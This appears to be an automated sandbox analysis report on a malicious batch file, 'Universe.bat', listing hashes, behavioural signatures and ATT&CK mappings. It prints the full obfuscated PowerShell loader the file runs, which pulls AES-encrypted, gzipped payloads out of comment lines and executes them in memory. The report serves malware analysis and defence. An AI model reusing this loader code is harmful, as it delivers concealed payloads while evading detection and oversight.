d78ea86672081dae69afc22f94de2ce5e6867653d42d9bb8d215703be3f9f25c

Analysis

max time kernel
14s
max time network
19s
platform
windows7_x64
resource
win7-20240729-en
resource tags

arch:x64arch:x86image:win7-20240729-enlocale:en-usos:windows7-x64system
submitted
23-08-2024 12:24

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General

Target

Universe.bat
Size

266KB
MD5

b20843491bae175a8a3ea58950133d1a
SHA1

33552409f87c4b04f1a97e21c181e27327e0f847
SHA256

d78ea86672081dae69afc22f94de2ce5e6867653d42d9bb8d215703be3f9f25c
SHA512

998bfa168786a28b6d5dc1d682ee7a75eceee58980a4a643c6c89d52a521bc592aa261c653d24f697c4e092379f63816344ff3667a6acb9d21bbeb2016d8c18b
SSDEEP

6144:J4blXryzoC5iq4a8PLJlAl0bBt1Az2iZg7Z8esqA4zX:ibc8ICa8PNC0blH9dsqh

Score

8^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
300	powershell.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
300	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	300	powershell.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 2296 wrote to memory of 300	2296	cmd.exe	31
PID 2296 wrote to memory of 300	2296	cmd.exe	31
PID 2296 wrote to memory of 300	2296	cmd.exe	31

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\Universe.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:2296
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('SnMKy725nJUhiMQ+k00yZGWuadijDwJVVBtPnLEkkhk='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('axNyr+j+G5sbsmbLId0ybw=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $FYtig=New-Object System.IO.MemoryStream(,$param_var); $DgoBB=New-Object System.IO.MemoryStream; $zfUXx=New-Object System.IO.Compression.GZipStream($FYtig, [IO.Compression.CompressionMode]::Decompress); $zfUXx.CopyTo($DgoBB); $zfUXx.Dispose(); $FYtig.Dispose(); $DgoBB.Dispose(); $DgoBB.ToArray();}function execute_function($param_var,$param2_var){ $dTUPB=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $vjclB=$dTUPB.EntryPoint; $vjclB.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Local\Temp\Universe.bat';$KcJLn=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\Universe.bat').Split([Environment]::NewLine);foreach ($wEtNx in $KcJLn) { if ($wEtNx.StartsWith(':: ')) { $xAoQG=$wEtNx.Substring(3); break; }}$payloads_var=[string[]]$xAoQG.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:300

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/300-4-0x000007FEF5AFE000-0x000007FEF5AFF000-memory.dmp

Filesize
4KB

Download
memory/300-5-0x000000001B640000-0x000000001B922000-memory.dmp

Filesize
2.9MB

Download
memory/300-6-0x0000000002760000-0x0000000002768000-memory.dmp

Filesize
32KB

Download
memory/300-7-0x000007FEF5840000-0x000007FEF61DD000-memory.dmp

Filesize
9.6MB

Download
memory/300-8-0x000007FEF5840000-0x000007FEF61DD000-memory.dmp

Filesize
9.6MB

Download
memory/300-9-0x000007FEF5840000-0x000007FEF61DD000-memory.dmp

Filesize
9.6MB

Download
memory/300-10-0x000007FEF5840000-0x000007FEF61DD000-memory.dmp

Filesize
9.6MB

Download
memory/300-11-0x000007FEF5840000-0x000007FEF61DD000-memory.dmp

Filesize
9.6MB

Download